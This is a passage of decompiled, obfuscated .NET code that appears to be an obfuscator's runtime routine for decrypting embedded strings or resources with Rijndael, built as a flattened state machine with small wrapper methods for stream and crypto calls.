goto label_332;
|
||
else
|
||
goto case 157;
|
||
case 342:
|
||
goto label_116;
|
||
case 343:
|
||
numArray2[11] = (byte) (68 + 95);
|
||
num6 = 136;
|
||
continue;
|
||
case 344:
|
||
goto label_348;
|
||
default:
|
||
goto label_334;
|
||
}
|
||
}
|
||
label_24:
|
||
num2 = 113 + 123;
|
||
num3 = 169;
|
||
if (\u0002.\u0003())
|
||
continue;
|
||
label_91:
|
||
numArray1[15] = (byte) num1;
|
||
num3 = 173;
|
||
if (!\u0002.\u0004())
|
||
continue;
|
||
label_92:
|
||
num1 = 200 - 66;
|
||
num3 = 175;
|
||
if (true)
|
||
continue;
|
||
label_93:
|
||
numArray1[4] = (byte) (128 - 51);
|
||
num3 = 246;
|
||
}
|
||
while (true);
|
||
goto label_94;
|
||
label_57:
|
||
num2 = 155 - 51;
|
||
num3 = 162;
|
||
if (true)
|
||
continue;
|
||
label_58:
|
||
numArray1[7] = (byte) (46 + 19);
|
||
num3 = 97;
|
||
if (true)
|
||
continue;
|
||
label_59:
|
||
num2 = 81 + 43;
|
||
num3 = 112;
|
||
if (\u0002.\u0004())
|
||
goto label_307;
|
||
else
|
||
continue;
|
||
label_306:
|
||
numArray2[12] = (byte) num2;
|
||
num3 = 3;
|
||
if (true)
|
||
continue;
|
||
label_307:
|
||
num1 = 254 - 84;
|
||
num3 = 250;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_280;
|
||
label_97:
|
||
numArray2[29] = (byte) num2;
|
||
num3 = 298;
|
||
if (\u0002.\u0004())
|
||
goto label_246;
|
||
else
|
||
continue;
|
||
label_112:
|
||
numArray1[1] = (byte) num1;
|
||
num3 = 124;
|
||
if (\u0002.\u0003())
|
||
continue;
|
||
label_113:
|
||
num4 = \u0002.\u0003((object) \u0002.\u0004, obj0);
|
||
num3 = 344;
|
||
if (\u0002.\u0004())
|
||
goto label_346;
|
||
else
|
||
continue;
|
||
label_246:
|
||
if (numArray4 == null)
|
||
goto label_352;
|
||
else
|
||
goto label_247;
|
||
label_325:
|
||
numArray2[6] = (byte) (54 - 29);
|
||
num3 = 18;
|
||
if (!\u0002.\u0003())
|
||
goto label_342;
|
||
else
|
||
continue;
|
||
label_334:
|
||
num5 = 215;
|
||
goto label_331;
|
||
label_335:
|
||
if (\u0002.\u0004.Length == 0)
|
||
{
|
||
num3 = 193;
|
||
continue;
|
||
}
|
||
goto label_113;
|
||
label_339:
|
||
\u0002.\u0004((object) memoryStream);
|
||
num3 = 269;
|
||
if (!\u0002.\u0003())
|
||
goto label_109;
|
||
else
|
||
continue;
|
||
label_340:
|
||
numArray1[6] = (byte) num1;
|
||
num5 = 264;
|
||
goto label_331;
|
||
label_341:
|
||
numArray2[24] = (byte) (181 - 60);
|
||
num3 = 239;
|
||
continue;
|
||
label_342:
|
||
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
|
||
num3 = 187;
|
||
if (!\u0002.\u0003())
|
||
goto label_194;
|
||
else
|
||
continue;
|
||
label_346:
|
||
num1 = 173 - 63;
|
||
num5 = 141;
|
||
goto label_331;
|
||
label_348:
|
||
string str;
|
||
try
|
||
{
|
||
str = (string) \u0002.\u0003(\u0002.\u0003(), (object) \u0002.\u0004, obj0 + 4, num4);
|
||
goto label_351;
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
return \u0006.\u0003(5753);
|
||
label_351:
|
||
return str;
|
||
label_352:
|
||
rijndaelManaged = new RijndaelManaged();
|
||
num3 = 275;
|
||
if (true)
|
||
continue;
|
||
goto label_130;
|
||
label_353:
|
||
memoryStream = new MemoryStream();
|
||
num3 = 220;
|
||
continue;
|
||
label_354:
|
||
numArray3[13] = numArray4[6];
|
||
num3 = 51;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_15;
|
||
label_258:
|
||
numArray2[27] = (byte) (248 - 82);
|
||
num3 = 196;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_259;
|
||
label_115:
|
||
num1 = 39 + 53;
|
||
num3 = 281;
|
||
if (true)
|
||
continue;
|
||
label_116:
|
||
numArray2[17] = (byte) num2;
|
||
num3 = 326;
|
||
}
|
||
while (true);
|
||
goto label_117;
|
||
label_138:
|
||
numArray2[28] = (byte) (118 + 53);
|
||
num3 = 19;
|
||
if (\u0002.\u0004())
|
||
goto label_330;
|
||
else
|
||
continue;
|
||
label_270:
|
||
num2 = 214 - 71;
|
||
num3 = 140;
|
||
continue;
|
||
label_330:
|
||
numArray2[26] = (byte) num2;
|
||
goto label_270;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_18;
|
||
label_67:
|
||
num2 = 163 - 54;
|
||
num3 = 116;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_122;
|
||
label_147:
|
||
numArray1[12] = (byte) (19 + 100);
|
||
num3 = 15;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_274;
|
||
label_158:
|
||
numArray1[6] = (byte) num1;
|
||
num3 = 195;
|
||
}
|
||
while (true);
|
||
goto label_159;
|
||
label_284:
|
||
numArray2[1] = (byte) (139 - 46);
|
||
num3 = 118;
|
||
if (!\u0002.\u0004())
|
||
continue;
|
||
label_285:
|
||
numArray2[8] = (byte) num2;
|
||
num3 = 302;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_202;
|
||
label_224:
|
||
numArray1[5] = (byte) (133 - 44);
|
||
num3 = 91;
|
||
if (true)
|
||
continue;
|
||
label_225:
|
||
numArray2[25] = (byte) (164 - 54);
|
||
num3 = 265;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_267;
|
||
label_195:
|
||
numArray2[17] = (byte) num2;
|
||
num3 = 340;
|
||
}
|
||
while (true);
|
||
goto label_196;
|
||
label_155:
|
||
numArray2[4] = (byte) (247 - 82);
|
||
num3 = 64;
|
||
}
|
||
while (true);
|
||
goto label_156;
|
||
label_61:
|
||
numArray1[1] = (byte) num1;
|
||
num3 = 221;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_305;
|
||
label_238:
|
||
num2 = 157 - 52;
|
||
num3 = 278;
|
||
}
|
||
while (true);
|
||
goto label_239;
|
||
label_310:
|
||
num1 = 137 - 45;
|
||
num3 = 188;
|
||
}
|
||
while (true);
|
||
goto label_311;
|
||
label_180:
|
||
numArray1[2] = (byte) num1;
|
||
num3 = 79;
|
||
}
|
||
while (true);
|
||
goto label_181;
|
||
label_34:
|
||
numArray2[5] = (byte) num2;
|
||
num3 = 290;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_122;
|
||
label_87:
|
||
numArray2[14] = (byte) num2;
|
||
num3 = 103;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_88;
|
||
label_7:
|
||
numArray2 = new byte[32];
|
||
num3 = 47;
|
||
}
|
||
while (true);
|
||
goto label_8;
|
||
label_272:
|
||
num2 = 159 - 53;
|
||
num3 = 133;
|
||
}
|
||
while (true);
|
||
goto label_273;
|
||
label_48:
|
||
num2 = 134 - 44;
|
||
num3 = 69;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_221;
|
||
label_186:
|
||
numArray2[1] = (byte) (189 - 63);
|
||
num3 = 305;
|
||
}
|
||
while (true);
|
||
goto label_187;
|
||
label_55:
|
||
numArray1[10] = (byte) (194 + 31);
|
||
num3 = 22;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_128;
|
||
label_173:
|
||
num2 = 92 + 69;
|
||
num3 = 263;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_174;
|
||
label_318:
|
||
numArray2[19] = (byte) (35 + 107);
|
||
num3 = 284;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_329;
|
||
label_231:
|
||
\u0002.\u0005((object) binaryReader);
|
||
num3 = 182;
|
||
if (true)
|
||
continue;
|
||
label_232:
|
||
numArray1[5] = (byte) num1;
|
||
num3 = 6;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_233;
|
||
label_243:
|
||
numArray2[16] = (byte) (65 + 40);
|
||
num3 = 232;
|
||
}
|
||
while (true);
|
||
goto label_244;
|
||
label_205:
|
||
num1 = 228 - 76;
|
||
num3 = 280;
|
||
}
|
||
while (true);
|
||
goto label_206;
|
||
label_132:
|
||
numArray1[13] = (byte) (180 - 60);
|
||
num3 = 225;
|
||
}
|
||
while (true);
|
||
goto label_133;
|
||
label_16:
|
||
num2 = 253 - 84;
|
||
num3 = 159;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_17;
|
||
label_190:
|
||
numArray2[8] = (byte) (160 - 40);
|
||
num3 = 76;
|
||
}
|
||
while (\u0002.\u0003());
|
||
goto label_183;
|
||
label_29:
|
||
numArray2[12] = (byte) (109 + 120);
|
||
num3 = 293;
|
||
}
|
||
while (!\u0002.\u0004());
|
||
goto label_30;
|
||
label_136:
|
||
num1 = 106 - 29;
|
||
num3 = 163;
|
||
}
|
||
while (true);
|
||
goto label_137;
|
||
label_19:
|
||
numArray1[8] = (byte) (7 + 66);
|
||
num3 = 273;
|
||
continue;
|
||
label_30:
|
||
numArray1[8] = (byte) num1;
|
||
num3 = 126;
|
||
continue;
|
||
label_38:
|
||
numArray2[9] = (byte) num2;
|
||
num3 = 152;
|
||
continue;
|
||
label_41:
|
||
numArray3[5] = numArray4[2];
|
||
num3 = 306;
|
||
continue;
|
||
label_42:
|
||
num2 = 147 - 49;
|
||
num3 = 107;
|
||
continue;
|
||
label_47:
|
||
transform = (ICryptoTransform) \u0002.\u0003((object) rijndaelManaged, (object) numArray5, (object) numArray3);
|
||
num3 = 150;
|
||
continue;
|
||
label_52:
|
||
numArray1[9] = (byte) num1;
|
||
num3 = 316;
|
||
continue;
|
||
label_62:
|
||
numArray1[2] = (byte) num1;
|
||
num3 = 98;
|
||
continue;
|
||
label_66:
|
||
numArray1[2] = (byte) (189 - 63);
|
||
num3 = 254;
|
||
continue;
|
||
label_69:
|
||
numArray2[29] = (byte) (233 - 77);
|
||
num3 = 165;
|
||
continue;
|
||
label_74:
|
||
numArray2[5] = (byte) (237 - 79);
|
||
num3 = 7;
|
||
continue;
|
||
label_78:
|
||
num2 = (int) sbyte.MaxValue - 42;
|
||
num3 = 166;
|
||
continue;
|
||
label_80:
|
||
numArray1[7] = (byte) (58 + 12);
|
||
num3 = 322;
|
||
continue;
|
||
label_89:
|
||
\u0002.\u0004 = (byte[]) \u0002.\u0006((object) memoryStream);
|
||
num3 = 299;
|
||
continue;
|
||
label_96:
|
||
numArray2[6] = (byte) (73 + 119);
|
||
num3 = 315;
|
||
continue;
|
||
label_101:
|
||
num2 = 4 + 36;
|
||
num3 = 164;
|
||
continue;
|
||
label_103:
|
||
numArray3[11] = numArray4[5];
|
||
num3 = 11;
|
||
continue;
|
||
label_109:
|
||
numArray1[2] = (byte) (123 + 123);
|
||
num3 = 61;
|
||
continue;
|
||
label_121:
|
||
num2 = 148 - 49;
|
||
num3 = 58;
|
||
continue;
|
||
label_127:
|
||
numArray2[0] = (byte) num2;
|
||
num3 = 44;
|
||
continue;
|
||
label_128:
|
||
numArray2[1] = (byte) (194 - 64);
|
||
num3 = 211;
|
||
continue;
|
||
label_130:
|
||
numArray1[14] = (byte) num1;
|
||
num3 = 222;
|
||
continue;
|
||
label_137:
|
||
numArray2[10] = (byte) num2;
|
||
num3 = 258;
|
||
continue;
|
||
label_148:
|
||
num1 = 125 + 67;
|
||
num3 = 60;
|
||
continue;
|
||
label_163:
|
||
numArray3[3] = numArray4[1];
|
||
num3 = 235;
|
||
continue;
|
||
label_166:
|
||
numArray1[13] = (byte) (173 - 62);
|
||
num3 = 62;
|
||
continue;
|
||
label_177:
|
||
numArray1[14] = (byte) (119 + 80);
|
||
num3 = 38;
|
||
continue;
|
||
label_179:
|
||
numArray2[0] = (byte) num2;
|
||
num3 = 96;
|
||
continue;
|
||
label_188:
|
||
numArray2[11] = (byte) num2;
|
||
num3 = 308;
|
||
continue;
|
||
label_200:
|
||
numArray2[30] = (byte) num2;
|
||
num3 = 74;
|
||
continue;
|
||
label_201:
|
||
num1 = 143 - 47;
|
||
num3 = 216;
|
||
continue;
|
||
label_210:
|
||
num1 = 176 - 58;
|
||
num3 = 158;
|
||
continue;
|
||
label_214:
|
||
numArray2[4] = (byte) num2;
|
||
num3 = 17;
|
||
continue;
|
||
label_221:
|
||
num2 = 212 - 70;
|
||
num3 = 338;
|
||
continue;
|
||
label_230:
|
||
numArray2[20] = (byte) (179 - 59);
|
||
num3 = 341;
|
||
continue;
|
||
label_237:
|
||
num1 = 245 - 81;
|
||
num3 = 32;
|
||
continue;
|
||
label_247:
|
||
num3 = 142;
|
||
continue;
|
||
label_263:
|
||
num2 = 238 - 79;
|
||
num3 = 12;
|
||
continue;
|
||
label_266:
|
||
numArray1[10] = (byte) (178 - 59);
|
||
num3 = 129;
|
||
continue;
|
||
label_271:
|
||
\u0002.\u0003((object) cryptoStream);
|
||
num3 = 57;
|
||
continue;
|
||
label_274:
|
||
numArray2[14] = (byte) (97 + 96);
|
||
num3 = 292;
|
||
continue;
|
||
label_275:
|
||
numArray1[3] = (byte) (165 - 107);
|
||
num3 = 190;
|
||
continue;
|
||
label_280:
|
||
num2 = 44 + 104;
|
||
num3 = 106;
|
||
continue;
|
||
label_305:
|
||
numArray1[15] = (byte) (138 + 13);
|
||
num3 = 9;
|
||
continue;
|
||
label_311:
|
||
numArray2[16] = (byte) (28 + 54);
|
||
num3 = 266;
|
||
continue;
|
||
label_315:
|
||
numArray2[18] = (byte) num2;
|
||
num3 = 199;
|
||
continue;
|
||
label_316:
|
||
numArray2[24] = (byte) num2;
|
||
num3 = 318;
|
||
}
|
||
label_2:
|
||
numArray1[0] = (byte) num1;
|
||
num5 = 72;
|
||
continue;
|
||
label_6:
|
||
numArray2[18] = (byte) num2;
|
||
num5 = 276;
|
||
continue;
|
||
label_8:
|
||
numArray2[19] = (byte) num2;
|
||
num5 = 252;
|
||
continue;
|
||
label_9:
|
||
numArray1[0] = (byte) (85 + 83);
|
||
num5 = 26;
|
||
continue;
|
||
label_10:
|
||
numArray2[15] = (byte) (84 + 32);
|
||
num5 = 230;
|
||
continue;
|
||
label_11:
|
||
numArray2[0] = (byte) (145 + 60);
|
||
num5 = 212;
|
||
continue;
|
||
label_12:
|
||
numArray2[9] = (byte) (29 + 40);
|
||
num5 = 94;
|
||
continue;
|
||
label_15:
|
||
num2 = 178 - 59;
|
||
num5 = 201;
|
||
continue;
|
||
label_17:
|
||
num2 = 130 - 27;
|
||
num5 = 313;
|
||
continue;
|
||
label_18:
|
||
numArray2[19] = (byte) num2;
|
||
num5 = 249;
|
||
continue;
|
||
label_35:
|
||
numArray2[21] = (byte) (232 - 77);
|
||
num5 = 144;
|
||
continue;
|
||
label_36:
|
||
num2 = 188 - 62;
|
||
num5 = 296;
|
||
continue;
|
||
label_37:
|
||
numArray2[13] = (byte) (37 + 50);
|
||
num5 = 168;
|
||
continue;
|
||
label_39:
|
||
num2 = 128 + 105;
|
||
num5 = 170;
|
||
continue;
|
||
label_43:
|
||
numArray2[0] = (byte) (83 + 114);
|
||
num5 = 8;
|
||
continue;
|
||
label_44:
|
||
numArray1[15] = (byte) num1;
|
||
num5 = 113;
|
||
continue;
|
||
label_45:
|
||
numArray2[12] = (byte) num2;
|
||
num5 = 5;
|
||
continue;
|
||
label_49:
|
||
numArray1[13] = (byte) num1;
|
||
num5 = 287;
|
||
continue;
|
||
label_51:
|
||
num1 = 24 + 89;
|
||
num5 = 36;
|
||
continue;
|
||
label_63:
|
||
numArray2[17] = (byte) num2;
|
||
num5 = 223;
|
||
continue;
|
||
label_64:
|
||
numArray5 = numArray2;
|
||
num5 = 25;
|
||
continue;
|
||
label_68:
|
||
numArray2[3] = (byte) num2;
|
||
num5 = 21;
|
||
continue;
|
||
label_70:
|
||
num2 = 70 + 7;
|
||
num5 = 161;
|
||
continue;
|
||
label_71:
|
||
numArray2[22] = (byte) (137 - 60);
|
||
num5 = 151;
|
||
continue;
|
||
label_72:
|
||
numArray1 = new byte[16];
|
||
num5 = 172;
|
||
continue;
|
||
label_73:
|
||
numArray1[12] = (byte) num1;
|
||
num5 = 203;
|
||
continue;
|
||
label_79:
|
||
numArray1[9] = (byte) (153 - 51);
|
||
num5 = 102;
|
||
continue;
|
||
label_88:
|
||
num1 = 102 + 72;
|
||
num5 = 43;
|
||
continue;
|
||
label_90:
|
||
numArray2[6] = (byte) (194 - 64);
|
||
num5 = (int) byte.MaxValue;
|
||
continue;
|
||
label_94:
|
||
num2 = 202 - 92;
|
||
num5 = 10;
|
||
continue;
|
||
label_95:
|
||
numArray1[10] = (byte) (27 + 1);
|
||
num5 = 224;
|
||
continue;
|
||
label_106:
|
||
numArray2[27] = (byte) num2;
|
||
num5 = 300;
|
||
continue;
|
||
label_114:
|
||
num2 = 143 - 47;
|
||
num5 = 181;
|
||
continue;
|
||
label_117:
|
||
numArray2[21] = (byte) num2;
|
||
num5 = 331;
|
||
continue;
|
||
label_119:
|
||
\u0002.\u0004((object) cryptoStream);
|
||
num5 = 337;
|
||
continue;
|
||
label_120:
|
||
numArray2[28] = (byte) num2;
|
||
num5 = 200;
|
||
continue;
|
||
label_122:
|
||
numArray2[4] = (byte) num2;
|
||
num5 = 37;
|
||
continue;
|
||
label_125:
|
||
num2 = 12 + 81;
|
||
num5 = 277;
|
||
continue;
|
||
label_129:
|
||
numArray2[19] = (byte) num2;
|
||
num5 = 177;
|
||
continue;
|
||
label_133:
|
||
numArray2[30] = (byte) num2;
|
||
num5 = 41;
|
||
continue;
|
||
label_141:
|
||
numArray1[14] = (byte) (240 - 80);
|
||
num5 = 121;
|
||
continue;
|
||
label_142:
|
||
numArray2[28] = (byte) num2;
|
||
num5 = 104;
|
||
continue;
|
||
label_146:
|
||
num2 = 96 + 66;
|
||
num5 = 71;
|
||
continue;
|
||
label_153:
|
||
numArray2[26] = (byte) num2;
|
||
num5 = 312;
|
||
continue;
|
||
label_154:
|
||
numArray1[11] = (byte) (145 - 48);
|
||
num5 = 110;
|
||
continue;
|
||
label_156:
|
||
num1 = 158 - 52;
|
||
num5 = 117;
|
||
continue;
|
||
label_157:
|
||
numArray2[27] = (byte) num2;
|
||
num5 = (int) sbyte.MaxValue;
|
||
continue;
|
||
label_159:
|
||
num2 = 119 + 50;
|
||
num5 = 317;
|
||
continue;
|
||
label_162:
|
||
num1 = 58 + 113;
|
||
num5 = 328;
|
||
continue;
|
||
label_172:
|
||
numArray3[9] = numArray4[4];
|
||
num5 = 314;
|
||
continue;
|
||
label_174:
|
||
numArray2[22] = (byte) num2;
|
||
num5 = 14;
|
||
continue;
|
||
label_176:
|
||
num2 = 133 - 44;
|
||
num5 = 268;
|
||
continue;
|
||
label_181:
|
||
numArray2[29] = (byte) num2;
|
||
num5 = 194;
|
||
continue;
|
||
label_183:
|
||
numArray1[7] = (byte) (191 + 34);
|
||
num5 = 45;
|
||
continue;
|
||
label_187:
|
||
numArray2[20] = (byte) num2;
|
||
num5 = 227;
|
||
continue;
|
||
label_189:
|
||
numArray2[31] = (byte) num2;
|
||
num5 = 332;
|
||
continue;
|
||
label_191:
|
||
numArray2[3] = (byte) num2;
|
||
num5 = 244;
|
||
continue;
|
||
label_194:
|
||
numArray2[31] = (byte) num2;
|
||
num5 = 63;
|
||
continue;
|
||
label_196:
|
||
numArray2[26] = (byte) num2;
|
||
num5 = 210;
|
||
continue;
|
||
label_199:
|
||
numArray2[25] = (byte) (22 + 18);
|
||
num5 = 242;
|
||
continue;
|
||
label_202:
|
||
numArray2[9] = (byte) num2;
|
||
num5 = 325;
|
||
continue;
|
||
label_206:
|
||
numArray1[12] = (byte) num1;
|
||
num5 = 184;
|
||
continue;
|
||
label_208:
|
||
numArray2[15] = (byte) num2;
|
||
num5 = 128;
|
||
continue;
|
||
label_209:
|
||
num1 = 91 + 84;
|
||
num5 = 143;
|
||
continue;
|
||
label_215:
|
||
num1 = 30 + 108;
|
||
num5 = 49;
|
||
continue;
|
||
label_219:
|
||
num2 = 112 + 31;
|
||
num5 = 304;
|
||
continue;
|
||
label_220:
|
||
numArray1[7] = (byte) (198 - 66);
|
||
num5 = 134;
|
||
continue;
|
||
label_229:
|
||
numArray2[24] = (byte) num2;
|
||
num5 = 167;
|
||
continue;
|
||
label_233:
|
||
numArray2[27] = (byte) num2;
|
||
num5 = 320;
|
||
continue;
|
||
label_239:
|
||
numArray1[13] = (byte) num1;
|
||
num5 = 105;
|
||
continue;
|
||
label_242:
|
||
num2 = 20 + 67;
|
||
num5 = 339;
|
||
continue;
|
||
label_244:
|
||
numArray1[5] = (byte) (85 - 59);
|
||
num5 = 132;
|
||
continue;
|
||
label_245:
|
||
num2 = 37 + 121;
|
||
num5 = 16;
|
||
continue;
|
||
label_248:
|
||
numArray2[30] = (byte) (145 + 70);
|
||
num5 = 289;
|
||
continue;
|
||
label_254:
|
||
numArray1[3] = (byte) (193 - 64);
|
||
num5 = 330;
|
||
continue;
|
||
label_259:
|
||
numArray2[18] = (byte) (30 + 97);
|
||
num5 = 327;
|
||
continue;
|
||
label_260:
|
||
num1 = 134 - 44;
|
||
num5 = 83;
|
||
continue;
|
||
label_265:
|
||
\u0002.\u0003((object) cryptoStream, (object) numArray6, 0, numArray6.Length);
|
||
num5 = 202;
|
||
continue;
|
||
label_267:
|
||
numArray2[15] = (byte) num2;
|
||
num5 = 59;
|
||
continue;
|
||
label_269:
|
||
numArray2[12] = (byte) (233 - 77);
|
||
num5 = 324;
|
||
continue;
|
||
label_273:
|
||
numArray1[0] = (byte) num1;
|
||
num5 = 271;
|
||
continue;
|
||
label_276:
|
||
numArray1[11] = (byte) num1;
|
||
num5 = 259;
|
||
continue;
|
||
label_277:
|
||
num2 = 229 - 76;
|
||
num5 = 101;
|
||
continue;
|
||
label_283:
|
||
numArray2[28] = (byte) num2;
|
||
num5 = 31;
|
||
continue;
|
||
label_291:
|
||
num2 = 182 - 60;
|
||
num5 = 178;
|
||
continue;
|
||
label_294:
|
||
numArray2[8] = (byte) num2;
|
||
num5 = 240;
|
||
continue;
|
||
label_297:
|
||
numArray2[19] = (byte) (9 + 84);
|
||
num5 = 217;
|
||
continue;
|
||
label_304:
|
||
numArray2[28] = (byte) (37 + 46);
|
||
num5 = 48;
|
||
continue;
|
||
label_314:
|
||
numArray1[1] = (byte) (81 + 90);
|
||
num5 = 186;
|
||
continue;
|
||
label_322:
|
||
num2 = 119 + 17;
|
||
num5 = 33;
|
||
continue;
|
||
label_323:
|
||
numArray2[9] = (byte) num2;
|
||
num5 = 149;
|
||
continue;
|
||
label_327:
|
||
numArray2[22] = (byte) (176 - 58);
|
||
num5 = 183;
|
||
continue;
|
||
label_328:
|
||
num2 = 45 + 94;
|
||
num5 = 214;
|
||
continue;
|
||
label_329:
|
||
numArray1[12] = (byte) (70 + 81);
|
||
num5 = 82;
|
||
}
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
int num7;
|
||
string str1;
|
||
string str2;
|
||
string str3;
|
||
byte[] numArray7;
|
||
byte[] numArray8;
|
||
int num8;
|
||
object[] objArray = new object[23]
|
||
{
|
||
(object) num1,
|
||
(object) numArray1,
|
||
(object) num2,
|
||
(object) cryptoStream,
|
||
(object) num4,
|
||
(object) numArray6,
|
||
(object) binaryReader,
|
||
(object) num7,
|
||
(object) str1,
|
||
(object) str2,
|
||
(object) numArray5,
|
||
(object) rijndaelManaged,
|
||
(object) numArray2,
|
||
(object) numArray4,
|
||
(object) transform,
|
||
(object) str3,
|
||
(object) numArray7,
|
||
(object) numArray3,
|
||
(object) numArray8,
|
||
(object) memoryStream,
|
||
(object) num8,
|
||
(object) num3,
|
||
(object) obj0
|
||
};
|
||
throw UnhandledException.\u0003(ex, objArray);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public \u0002()
|
||
{
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
throw UnhandledException.\u0003(ex, (object) this);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static Type \u0003([In] RuntimeTypeHandle obj0)
|
||
{
|
||
try
|
||
{
|
||
return Type.GetTypeFromHandle(obj0);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<RuntimeTypeHandle> local = (ValueType) obj0;
|
||
throw UnhandledException.\u0003(ex, (object) local);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0003([In] object obj0, [In] object obj1)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj2 = obj0;
|
||
object obj3 = obj1;
|
||
throw UnhandledException.\u0003(ex, obj2, obj3);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0003([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((BinaryReader) obj0).BaseStream;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0003([In] object obj0, [In] long obj1)
|
||
{
|
||
try
|
||
{
|
||
((Stream) obj0).Position = obj1;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<long> local = (ValueType) obj1;
|
||
throw UnhandledException.\u0003(ex, obj, (object) local);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0003([In] bool obj0)
|
||
{
|
||
try
|
||
{
|
||
RSACryptoServiceProvider.UseMachineKeyStore = obj0;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<bool> local = (ValueType) obj0;
|
||
throw UnhandledException.\u0003(ex, (object) local);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static long \u0003([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
return ((Stream) obj0).Length;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0003([In] object obj0, [In] int obj1)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((BinaryReader) obj0).ReadBytes(obj1);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local = (ValueType) obj1;
|
||
throw UnhandledException.\u0003(ex, obj, (object) local);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0004([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((Assembly) obj0).GetName();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0005([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((AssemblyName) obj0).GetPublicKeyToken();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0003([In] object obj0, [In] CipherMode obj1)
|
||
{
|
||
try
|
||
{
|
||
((SymmetricAlgorithm) obj0).Mode = obj1;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<CipherMode> local = (Enum) obj1;
|
||
throw UnhandledException.\u0003(ex, obj, (object) local);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static object \u0003([In] object obj0, [In] object obj1, [In] object obj2)
|
||
{
|
||
try
|
||
{
|
||
return (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj3 = obj0;
|
||
object obj4 = obj1;
|
||
object obj5 = obj2;
|
||
throw UnhandledException.\u0003(ex, obj3, obj4, obj5);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0003([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3)
|
||
{
|
||
try
|
||
{
|
||
((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj4 = obj0;
|
||
object obj5 = obj1;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local1 = (ValueType) obj2;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local2 = (ValueType) obj3;
|
||
throw UnhandledException.\u0003(ex, obj4, obj5, (object) local1, (object) local2);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
internal static void \u0003([In] object obj0)
|
||
{
|
||
try
|
||
{
|
||
((CryptoStream) obj0).FlushFinalBlock();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object obj = obj0;
|
||
throw UnhandledException.\u0003(ex, obj);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
